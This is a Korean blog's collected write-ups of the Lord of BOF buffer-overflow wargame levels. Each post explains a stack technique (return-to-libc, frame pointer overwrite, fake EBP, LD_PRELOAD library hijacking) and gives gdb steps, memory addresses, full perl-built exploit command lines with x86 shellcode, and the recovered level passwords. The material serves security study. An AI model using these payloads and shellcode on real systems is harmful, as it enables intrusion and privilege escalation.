심심해서 하는 블로그 :: 'Computer Science/BOF 원정대' 카테고리의 글 목록

1. 취약점



이제 끝이 슬슬 보인다!!!

 

1. main의 return address를 strcpy()의 주소로 한다. 따라서 main()이 종료한 후에 strcpy()가 수행한다.



2. strcpy()는 함수가 수행 완료 후 Retun address가 "AAAA"이다.  strcpy를 활용해서 "AAAA"를 

   RTL로 변경한다.


따라서 현재 strcpy()의 주소를 알아야 하고 argv[2]를 source로 buffer[48]을 dest로 사용할 것이므로 argv[2], buffer의 주소도 알아야 한다.


$ bash2

$ gcc -g -o nightmar1  nightmare.c

$ gdb -q nightmar1

(gdb) print strcpy



strcpy()의 주소 : 0x08048410

이번엔 argv[2], buffer의 주소를 확인하자.

$ cp nightmare.c nightmar1.c

$ vi nightmar1.c

$ gcc -o nightmar1 nightmar1.c

$ ./nightmar1


buffer[48] 주소 : 0xbffffad0

argv[2] 주소 : 0xbffffc56


각각의 RTL 주소는 전 단계를 참고해주세요

1. system() 주소 : 0x40058ae0

2. /bin/sh 의 주소 : 0x400fbff9

3. exit()의 주소 : 0x400391e0


2. Exploit

1. 바로 괴롭힌다.

$ ./nightmare  `perl -e 'print "A"x44, "\x10\x84\x04\x08", "A"x4, "\xd0\xfa\xff\xbf", "\x56\xfc\xff\xbf"'` `perl -e 'print "\xe0\x8a\x05\x40", "\xe0\x91\x03\x40","\xf9\xbf\x0f\x40"'`


2. 결과

id :  nightmare  passwd : beg for me

 

,

1. 취약점


메인 함수와 5개의 서브함수가 있다. (도, 개, 걸, 윷, 모.. 첨엔 뭔가 싶었다.)

메인 함수에는 Return Address부터 + 100byte 구간을 제외하고 전부 다 0으로 초기화 시켜버린다.

그리고 문제 중간에 공유 라이브러리를 더 이상 사용할 수 없게 막아둔 구역도 있다.

도->개->걸->윷->모 순서 대로 진행 할 수 있으며 모는 system 함수와 매개 변수를 입력 할 수 있다.

무슨 수를 써야 모로 이동할 수 있을까?

 

1. main의 return address를 DO()의 주소로 한다. 그러면 main()이 종료한 후에 DO()가 수행한다.

2. 똑같이 개->걸->윷->모 순으로 return address를 사용한다.

3. MO는 매개변수를 이용할 수 있다. call은 내부적으로 push eip + jip eip 동작을 수행하므로 스택의 크기가      4만큼 늘어난다 따라서 중간에 Dummy 4바이트를 넣어주고 "/bin/sh"의 주소를 그다음에 넣어준다.  


따라서 우리는 도, 개, 걸, 윷, 모의 주소를 알아야 한다.

$ bash2

$ gcc -g -o succubu1  succubus.c

$ gdb -q succubu1

(gdb) print DO

(gdb) print GYE

(gdb) print GUL

(gdb) print YUT

(gdb) print MO



DO()의 주소 : 0x080487ec

GYE()의 주소 : 0x080487bc 

GUL()의 주소 : 0x0804878c

YUT()의 주소 : 0x0804875c

MO()의 주소 : 0x08048724


이제 버퍼의 크기를 알아보자. 소스 코드에 printf("%p\n", buffer)를 추가한다.

$ cp ./succubus.c ./succubsu.c

$ vi ./succubsu.c 

$ gcc -o succubsu succubsu.c
$ ./succubsu `perl -e 'print "A"x44, "\xec\x87\x04\x08","\xbc\x87\x04\x08", "\x8c\x87\x04\x08", "\x5c\x87\x04\x08", "\x24\x87\x04\x08","A"x4 ,"\xc8\xfa\xff\xbf", "/bin/sh"'`



빨간 네모가 buffer의 주소다 우리는 Dummy 44byte + 도,개,걸,윷,모(4*5byte) + dummy 4byte + &ptr (4byte) = 총 72바이트 뒤에 "/bin/sh"가 위치한다 따라서 0xbffffac8가 "/bin/sh"의 주소이다.



2. Exploit

1. 바로 괴롭힌다.(응??!)

$ ./succubus  `perl -e 'print "A"x44, "\xec\x87\x04\x08","\xbc\x87\x04\x08", "\x8c\x87\x04\x08", "\x5c\x87\x04\x08", "\x24\x87\x04\x08","A"x4 ,"\xc8\xfa\xff\xbf", "/bin/sh"'`


2. 결과

id :  succubus  passwd : here to stay

 

,

1. 취약점


저번과 소스코드는 비슷한데 strncpy()를 사용하면서 저번과 같은 문제풀이를 차단하였다.

문제의 힌트로 제시해준 FEBP(Fake EBP)를 사용하여 이 문제를 해결해보자


Fake EBP(FEBP)

저번에 SFP를 변조하면 스택의 기준을 잡고 있는 ebp 레지스터 값이 변화하여 프로그램의 실행흐름이 변화하는 것을 알 수 있었다(FPO 기법). FEBP도 sfp를 변조하여 ebp레지스터를 속여서 공격하는 기법이다.

 

1. leave를 수행하는 과정에서 변조된 SFP를 따라 ebp를 RTL 주소-4 위치에 둔다. 

2. eip는 RET을 하기 위해 Return Address 자리의 leave를 저장하고 다시 leave를 수행하게 된다. 

3. 그 후 두 번째 RET에서 eip는 RTL 코드를 읽어  RTL이 수행한다.

따라서 우리가 필요한 것은 이 프로그램의 leave의 주소, Buffer의 주소가 필요하다.


$ bash2

$ gcc -g -o zombie_assassi1  zombie_assassin.c

$ gdb -q zombie_assassi1

(gdb) disas main


leave의 주소 : 0x080484df 

이제 버퍼의 크기를 알아보자. 두 손을 무겁게 해서..


(gdb) b *main+139 (strncpy() 실행 후)

(gdb) r "`perl -e 'print "\xe0\x8a\x05\x40","\xe0\x91\x03\x40", "\xf9\xbf\x0f\x40", "\x90"x28,"\xbf\xbf\xbf\xbf", "\xdf\x84\x04\x08"'`"

(gdb) x/60x $esp


빨간 네모가 buffer의 시작지점이다. 따라서 노란 네모의 주소로 EBP를 이동시켜야한다.



각각의 RTL 주소는 이 전 단계를 참고해주세요

system() 주소 : 0x40058ae0

/bin/sh 의 주소 : 0x400fbff9

exit()의 주소 : 0x400391e0

new Return Address : 0x080484df (leave 주소)


2. Exploit

1. 바로 괴롭힌다.(응??!)

$ ./zombie_assassin "`perl -e 'print "\xe0\x8a\x05\x40","\xe0\x91\x03\x40", "\xf9\xbf\x0f\x40", "\x90"x28,"\xac\xfa\xff\xbf", "\xdf\x84\x04\x08"'`"


2. 결과


id :  zombie_assassin   passwd : no place to hide

정말 레벨을 거듭하면서 느끼지만 공격 기법을 최초로 고안한 사람은 정말 대단하거 같다..

 

,

1. 취약점


ㅋㅋㅋㅋㅋㅋ 아오 ㅋㅋㅋㅋㅋ 이제 RTL에 익숙해 질려하니까 no RTL이래 ㅋㅋㅋㅋ 반동분자 시끼들 ㅠㅠㅠ

일단 첫 번째 stack의 주소를 사용 못하고, 시스템 주소를 사용한 RTL 기법을 사용할 수 없다는 것이다.

하지만 argv[1][47]에만 제약을 했다는 점 고로 "\xbf"나 "\x40"을 제외한 나머지는 사용해도 상관이 없다는 점을 이용하면 된다. 적당한 걸 찾아야 하는데..


$ bash2

$ gcc -g -o assassi1 assassin.c

$ gdb -q assassi1

(gdb) disas main



0x804851e의 RET를 주목하자. RET를 한 후에 RET를 또 만나면 4바이트를 건너 뛰어서 다음의 코드에 접근할 수 있다.  따라서 system()의 주소를 argv[1][51]에 위치시켜서 RET 두 번 만난 애가 이 코드에 접근할 수 있게 Exploit을 해보자 각각의 시스템 주소는 이 전 단계를 참고해주세요

system() 주소 : 0x40058ae0

/bin/sh 의 주소 : 0x400fbff9

exit()의 주소 : 0x400391e0

new Return Address : 0x0804851e


2. Exploit

1. 바로 괴롭힌다.(응??!)

$ ./assassin `perl -e 'print "A"x44,"\x1e\x85\x04\x08", "\xe0\x8a\x05\x40","\xe0\x8a\x05\x40", "\xf9\xbf\x0f\x40"'`


2. 결과


id :  assassin   passwd : pushing me away

정말 레벨을 거듭하면서 느끼지만 공격 기법을 최초로 고안한 사람은 정말 대단하거 같다..

 

,

1. 취약점


popen() : 파이프라인을 생성하는 함수

sscanf() stdin이 아닌 문자열에서 입력을 받는 함수

ldd: 공유 라이브러리를 출력하는 명령어

nm: 오브젝트 파일에 포함되어있는 심볼 리스트를 출력


execve()의 주소는 첫 번째 빨간 네모에서 두 번째 빨간 네모의 각각의 결과의 합이라는 힌트(?)를 

코드 상에 보여주었기 때문에 각각의 빨간 네모의 명령어를 bash2상에서 수행한다.

권한 문제로 assasin파일을 접근조차 할 수 없으므로 ./giant 파일을 통해서 첫 번째 명령어를 수행하자

$ bash2

$ ldd /home/bugbear/giant | grep libc | awk '{print $4}'

$ nm /lib/libc.so.6 | grep __execve | awk '{print $1}'



첫 번째 명령어의 결과로 libc 공유 라이브러리의 메모리 상의 위치를 출력하였고, 두 번쨰는 execve의 명령어의 오프셋(offset)이다 따라서 execve의 주소는 0x40018000 + 0x91d48 = 0x400a9d48임을 알 수 있다. 

(고로 Return Address는 0x400a9d48)


execve(char *path, const char* argv[], char* const envp[])

첫 번째 인자는 "/bin/sh", 두 번째 인자는 "/bin/sh"의 인자 배열의 시작주소 세 번째는 null을 주면 끝이다.

직전 단계에서 이미 한 번 수행해 보았기 때문에 적극적으로 인용하겠다.

/bin/sh 의 주소 : 0x400fbff9 , exit()의 주소 0x400391e0


2. Exploit

1. 이제 필요한 건 execve()의 두 번째, 세 번째 인자다. 

   컴파일과 디버깅을 하기 전에 giant.c 파일에서 권한이 없는 영역을 수정한다.

$ cp giant.c gian1.c

$ vi ./gian1.c

$ gcc -g -o gian1.c "`perl -e 'print "\x48\x9d\x0a\x40"'`" 

$ gdb -q "`perl -e 'print "\x48\x9d\x0a\x40"'`" 



빨간 네모로 수정을 한 후 저장을 한다. 그리고 컴파일 결과물을 /bin/sh의 주소로 한다.

왜냐하면 c에서 execve()의 사용하는 모습으로 확인할 수 있다.



위의 함수에서 char* argv[], 즉 두 번째 인자 역할을 수행할 녀석이 필요한데, 그 역할을 argv[0]로 하면

아주 오래 전에 파일명을 이용한 오버플로우를 수행하였을 때(vampire -> skelton) 메모리 상위에서 바퀴벌레 같이 숨어 있는 두 번째 인자를 획득할 수 있다. 



2. 각설하고 두 번쨰 인자 주소를 찾아보자

(gdb) b *main+3

(gdb) r `perl -e 'print "A"x40'`



오랜만 바퀴벌래?! 

저 부분에서 파일 경로 부분을 제외한 부분을 사용해야 /bin/sh 부분만 남기 때문에 

0xbfffffe9 + 14 = 0xbffffff7 이 두 번째 인자의 주소이다.


3. 세 번째 인자는 두 번째 인자의 마지막 자리 숫자를 바꿔 가면서 null pointer를 찾아 본다. 

(gdb) x/x 0xbffffffc  <- 잡았다 요놈! 


4. 즐거운 괴롭힘 시간~

$ cd ~

$ ln -fs ./giant "`perl -e 'print "\x48\x9d\x0a\x40"'`" 

$ ./"`perl -e 'print "\x48\x9d\x0a\x40"'`"  "`perl -e 'print "A"x44, "\x48\x9d\x0a\x40", "\xe0\x91\x03\x40", "\xf9\xbf\x0f\x40", "\xf7\xff\xff\xbf", "\xfc\xff\xff\xbf" '`"


5. 결과



id :  giant   passwd : one step closer


 

,

1. 취약점


스택의 배신

하나씩 하나씩 새로운 공격기법이 나오기 시작한다. 앞의 레벨은 그냥 맛보기였어 ㅠㅠ

이번엔 스택의 Return Address에 "\xbf"로 시작하면 안된다고 한다. 그리고 문제위에 나와 있는 RTL

함수 스택으로 리턴하는 방식이 아닌 라이브러리로 리턴을 하는 방식이다.


RTL(Return To Library)

그 동안 BOF 원정을 다니면서 주된 공격방식은 함수 스택 내에 쉘코드를 주입하고 Return Address를 조작하여 해당 쉘코드로 이동하게 하여 공격하는 방식을 이용하였다. 이것의 대안으로 나온 Non-executable Stack 등을 우회하기 위한 공격으로 메모리에 상주하고 있는 공유 라이브러리를 이용하여 Return Address를 공유라이브러리의 함수로 덮어버리는 공격으로 쉘코드가 필요 없는 공격 기법이다. 따라서 공격을 성공시키기 위해서 공유 라이브러리 내의 system()함수와 /bin/sh의 주소를 알고 있어야 한다. 


2. Exploit


1. bash2를 사용하고 파일 복사, 컴파일, 디버깅을 수행한다.

$ bash2

$ cp ./bugbear.c /tmp/bugbear.c && cd /tmp

$ gcc -g -o bugbear ./bugbear.c

$ gdb -q ./bugbear


2. 중단점은 처음으로 설정한다. 우리가 알고자 하는것은 system()의 주소이다.

(gdb) b *main+3

(gdb) r 

(gdb) print system

(gdb) print exit



system()의 주소 0x40058ae0 ,exit()의 주소 0x400391e0


3. /bin/sh의 주소를 찾는 소스코드를 작성한다.

$ vi sh_find.c

$ gcc -o sh_find sh_find.c && ./sh_find


/bin/sh의 주소 0x400fbff9


4. 즐거운 괴롭힘 시간~

$ cd ~

$ ./bugbear `perl -e 'print "A"x44, "\xe0\x8a\x05\x40", "\xe0\x91\x03\x40", "\xf9\xbf\x0f\x40"'`

system() 함수는 ebp+8 지점의 값을 읽어와서 수행을 한다. 따라서 ebp+8 지점에 /bin/sh가 존재하여야한다.

그리고 system()함수가 수행한 후 정상적인 종료를 수행하기 위해 /bin/sh 와 system() 사이에 exit()를 둔다.

그럼 함수가 정상적으로 종료된다. 없어도 결과를 산출하는데는 문제가 없지만 Segmentation Fault가 거슬린다면 해두는게 좋다.


6. 결과

id :  bugbear   passwd : new divide


 

,

1. 취약점


앞에 너무 크게 디이고 나서 코드가 짧아지니까 안심이 되는데 이번엔 strncpy를 사용했다.

그리고 힌트에 나와있는 FPO(Frame Pointer Overwriting).. 이번에는 이걸 공부를 하고 돌파해봐야겠다.


FPO(Frame Pointer Overwriting)

Return Address에 기존에 덮어 쓸 수 있었던 기존 문제와 달리 strncpy는 입력의 범위를 한정하는 API라서 Return Address에 덮어 쓸 수가 없다. 이와 같은 경우에 사용할 수 있는 기법인데 조건은 1바이트 오버플로우가 일어나야 하며 서브함수가 반드시 필요하다. 이 오버플로우의 결과로 SFP 값이 변화하게 된다.


정상적인 함수의 진행과정이다 esp 레지스터는 움직이면서 데이터를 읽고 쓰는 일을 수행하고

ebp 레지스터의 경우에는 고정적으로 움직이지 않는 스택의 기준점이 되는 역할을 수행한다.

함수의 에필로그 구간은 leave를 한 후에 ret을 수행하는 것으로 마무리한다 leave는 볼 일 다본 뒤에 SFP에서 읽은 내용을 기반으로 스택 포인터를 재조정한다.


그런데 leave를 하는 과정에서 SFP가 변조가 되어버리면 ebp는 원래 돌아가고자 하는 곳이 아닌 완전 다른 곳으로 이동하게 된다. 그리고 나서 ret가 수행하게 되면 스택의 최상위에 있는 것을 pop해서 eip에 집어 넣는데 공격자는 이 때 eip를 쉘코드로 가리키게 하면서 원하는 공격을 수행하게 된다.


2. Exploit

0. 쉘코드를 만들거나 웹에서 주어온다♥

\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3


1. bash2를 사용하고 파일을 옮긴 후 디버깅을 한다.

$ bash2

$ cp ./darkknight.c /tmp/darkknight.c && cd /tmp

$ gcc -g -o ./darkknight.c

$ gdb -q ./darkknight


2. 중단점은 problum_child()함수가 strncpy()를 끝낸 시점으로 한다.

(gdb) b *problum_child+21

(gdb) r `perl -e 'print "A"x41'` `perl -e 'print "\x90"x50, "B"x39'`

(gdb) x/50x $espF

(gdp) x/x $ebp


39byte 짜리 쉘코드를 쓰기에는 buffer의 사이즈가 작아서 argv[2]를 활용해서 공격하고자 한다.

(물론 쉘코드 작은 거 어디서 주어와서 쓰면 buffer 내에서도 볼 일 다볼수 있다.)


buffer의 시작 주소는 0xbffffa44, 이동 시킬 곳은 0xbfffc18


3. 고생했다.. 괴롭히자

$ cd ~

$ ./darkknight `perl -e 'print "\x18\xfc\xff\xbf"x10, "\x44"'` `perl -e 'print "\x90"x50, "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'`



6. 결과

   id :  darkknight   passwd : new attacker

   새로운 기법을 체험할 수 있는 좋은 기회였다..ㅠㅠ 

 

,

1. 취약점



ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ 아오 너무하시네 ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ

이번에는 사실상 Return Address 빼고 0으로 초기화시켜버리는 강력한 녀석이 등장했다.. 

나 혼자 고민하다가는 산으로 가겠다 싶어서 주변사람들의 도움을 통해서  Shared library Hijacking 기법을 이용하면 된다는 것을 알았다.


공유 라이브러리

공유 라이브러리는 함수나 변수들을 프로그램이 시작하기 전에 로드하여 필요로 할 때마다 연동이 되는 동적 라이브러리이다. 상대적인 개념은 정적 라이브러리인데 함수를 사용하기 위한 라이브러리를 실행 프로그램과 통합하여 컴파일 되거나 런타임 시에 메모리에 올라온 실행 파일의 주소 공간에 같이 로드된다.

따라서 공유 라이브러리는 좀 더 융통성이 있지만 쉽게 접근 할 수 있도록 짜여 보안에 문제가 발생한다. 


Shared library Hijacking

정상적인 프로그램의 실행시에 어떤 심볼이 있을 때 공유 라이브러리에 가서 함수나 변수의 정보를 얻어온다.

이걸 악용하여 공격자는 자신 만의 공유 라이브러리를 생성하고 정상적인 루트가 아닌 자신이 만든 공유 라이브러리를 참조하도록 한다. 이러한 공격방식을 Shared library Hijacking이라고 한다.



2. Exploit

0. 쉘코드를 만들거나 웹에서 주어온다♥

\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3


1. bash2를 사용하고 공유 라이브러리를 위한 c파일을 생성한다.  

$ bash2

$ vi ./lib_attack.c

lib_attack.c의 내용 


2.  gcc로 lib_attack.c를 컴파일한다. 

$ gcc lib_attack.c -fPIC -shared -o `perl -e 'print "A", "\x90"x50, "[ 쉘코드]"'`

-shared 옵션 : 공유 라이브러리를 우선적으로 링크하는 옵션

-fPIC 옵션 : 오브젝트파일 생성시에 심볼들이 어느 위치에 있어도 동작하도록 하는 옵션


3.  환경변수를 export 한다

$ export LD_PRELOAD="`perl -e 'print "/home/skeleton/", "A" "\x90"x50, "[쉘코드]"'`

LD_PRELOAD : 사용자가 원하는 공유 라이브러리를 우선적으로 등록하는 프로그램의 경로

   현재는 작성한 공격 라이브러리를 우선적으로 사용하게 한다. 


4. 디버깅하여 이 라이브러리가 올라간 주소를 확인한다.

$ cp ./golem.c /tmp/golem.c && cd /tmp

$ gcc -g -o ./golem.c

$ gdb -q ./golem 

(gdb) b *main+163

(gdb) r `perl -e 'print "A"x44, "\xbf"x4'`

(gdb) x/1000x $esp-5000



휴.. 찾았다... 새로운 Return Address는 "0xbffff628"으로 하자


5. 고생했다.. 괴롭히자

$ cd ~

$ ./golem `perl -e 'print "A"x44, "\x28\xf6\xff\xbf"'`



6. 결과

   id :  golem   passwd : cup of coffee

   새로운 기법을 체험할 수 있는 좋은 기회였다..ㅠㅠ 


7. 참고 사이트 : http://sosal.tistory.com/125 

                     http://inhack.org/wordpress/?p=1833

 

,

1. 취약점



이번에는 argv를 전부 0으로 초기화 시켜버리는 강력한 녀석이 등장했다..

buffer[40]도 초기화, 환경변수 부분도 초기화 시켜버리니까 이제 어디에 쉘코드를 두어야 하는지..ㅠㅠ

그래도 어딘가는 초기화가 안되는 곳이 있으니까 이런 문제를 냈겠지하고 argv 구간을 뒤져보기 시작했다.


$ bash2

$ cp skeleton.c /tmp/skeleton.c && cd /tmp

$ gcc -g -o skeleton skeleton.c

$ gdb -q ./skeleton

(gdb) b *main+3

(gdb)  r `perl -e 'print "A"x44, "\xfe\xbf\xfe\xbf"'`




argv의 주소로 이동하여 환경 변수 영역을 살펴보니까 처음에 argv[0]으로 받는 파일 경로를 제외하고

스택의 바닥에 또 다른 파일 경로가 존재한다. 얘도 어쩌피 없어지겠지 하고 cont 명령을 해보니까..



??!! 바퀴벌레세요??!! 각 종 영역을 초기화하는 memset 속에 살아 남은 파일 경로

이번에도 심볼릭 링크를 활용한다!!


2. Exploit

1. bash2를 사용하고 skeleton.c 파일을 계정의 홈 폴더에 복사한다 

$ bash2

$ cd ~

$ cp skeleton.c skeleto1.c 


2.  gcc로 컴파일 한후 심볼릭 링크를 만들고 gdb로 디버깅을 한다. 

$ gcc -g -o skeleto1 skeleto1.c

$ ln -s  skeleto1 `perl -e 'print "A", "\x90"x50, "\B"x39'`

$ gdb -q ./A [ Tab 키 : 자동 완성 ]


3.  중단점은 초기부분에 설정하고 실행한다.

(gdb) b *main+3

(gdb) r `perl -e 'print "A"x44, "\xfe\xbf\xfe\xbf"'`



역시 살아 있군.. 새로운 Return Address는 0xbfffff93 + strlen("/home/vampire/A") = 0xbfffffa2에서 nop코드가 수행하니까 0xbfffffa8로 정했다


4. 쉘코드를 만들거나 웹에서 주어온다♥

\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3



5. 원본파일의 심볼릭 링크를 만든다. 그리고 괴롭혀준다..

$ ln -s skeleton `perl -e 'print "A", "\x90"x50, "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'`

$ /home/vampire/A[Tab] `perl -e 'print "A"x44, "\xa8\xff\xff\xbf"'`



7. 결과

   id :  skeleton   passwd : shellcoder

,

1. 취약점



전 단계와 달리 매개변수의 사용은 1개 이상 사용해도 되는데 argv[1][46]을"\xff"를 사용하면 안된다

이 때까지 모든 새로운 Retrurn Address의 경우에 0xbfff**** 형태였기 때문에 당황스러운 조건문이다.


따라서 함수가 호출되었을 때 스택이 쌓이는 순서는 고드름처럼 아래로 성장하는 구조임을 활용하여

아주 많은 양의 nop를 넣어서 argv[2]의 주소를 "bffe****"로 만드는 것이 중요하다.

참고로 bfff****와 bfffe****는 최대 65,536의 차이가 난다.


2. Exploit

1. bash2를 사용하고 vampire.c 파일을 /tmp 폴더에 복사한 후 /tmp로 이동한다 

$ bash2

$ cp vampire.c /tmp/vampire.c && cd /tmp


2.  gcc로 컴파일 한후 gdb로 디버깅을 한다. 

$ gcc -g -o vampire vampire.c

$ gdb -q ./vampire


3.  중단점을 초기 상태로 한다. 우리의 관심은 argv의 주소의 변화이다.

(gdb) b *main+3

(gdb) r `perl -e 'print "A"x44, "\xfe\xbf\xfe\xbf"'` `perl -e 'print "\x90"x70000, "B"x39'`



노가다는 즐거워!!! ㅋㅋㅋㅋㅋ

우선  bfff****와 bfffe****는 최대 65,536의 차이가 난다는 점을 이용해서 6만부터 만단위로 대입을 했는데

7만을 대입하니 argv의 주소의 상태가!!??? bffe**** !!!!


(gdb) x/200x $esp


짝짝짝.. Return Address는 0xbffeeae8로 정했다


4. 쉘코드를 만들거나 웹에서 주어온다♥

\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3

 


5. 괴.. 괴롭혀 주겠다...

(gdb) q

$ cd ~

$ ./vampire  `perl -e 'print "A"x44, "\xe8\xea\xfe\xbf"'` `perl -e 'print "\x90"x70000, "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'`



8. 결과

   id :  vampire   passwd : music world

,